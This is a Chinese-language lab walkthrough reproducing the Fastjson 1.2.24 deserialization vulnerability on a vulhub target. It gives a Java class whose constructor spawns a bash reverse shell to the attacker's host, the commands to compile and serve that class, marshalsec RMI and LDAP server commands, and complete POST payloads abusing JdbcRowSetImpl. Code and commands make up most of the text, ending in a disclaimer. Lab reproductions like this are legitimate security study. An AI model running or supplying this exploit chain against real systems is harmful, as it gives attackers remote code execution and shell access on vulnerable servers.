Fastjson反序列化漏洞復現
0x00 前言
對Fastjson反序列化漏洞進行復現。
0x01 漏洞環境
靶機環境:vulhub-fastjson-1.2.24
ip:172.16.10.18 埠:8090
攻擊機環境:kali,ip:192.168.82.130
0x02 漏洞利用
(1)首先使用docker起一個fastjson反序列化漏洞環境:
訪問環境頁面如下:
(2)RMI利用方式
先編寫好攻擊指令碼,反彈shell到kali上:
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.82.130/8888 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
接著使用javac將其進行編譯,命令:
javac Exploit.java
然後對多出一個.class的檔案:
把編譯好的檔案放在kali上,並在kali開啟一個簡單的HTTP服務,利用python3,命令:
python3 -m http.server 8080
接著使用marshalsec專案,啟動RMI服務,監聽8001埠並載入遠端類Exploit.class,命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.82.130:8080/#Exploit" 8001
然後在kali上開啟監聽8888埠:
開始攻擊,payload如下,注意是以POST方式提交:
POST / HTTP/1.1
Host:172.16.10.18:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 167
{
"naraku":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.82.130:8001/Exploit",
"autoCommit":true
}
}
檢視RMI端記錄:
檢視監聽部分:
成功,返回shell
(3)LDAP利用方式
前面大致過程相同,唯一變化的地方在於使用marshalsec專案,啟動LDAP服務,監聽8002埠並載入遠端類Exploit.class,命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.82.130:8080/#Exploit" 8002
在kali端依然監聽8888埠:
在burp端發起payload,payload如下,依舊注意是POST請求:
POST / HTTP/1.1
Host:172.16.10.18:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 167
{
"naraku":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.82.130:8002/Exploit",
"autoCommit":true
}
}
檢視ldap端顯示:
檢視監聽端,成功反彈shell:
0x03 免責宣告
嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 後果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !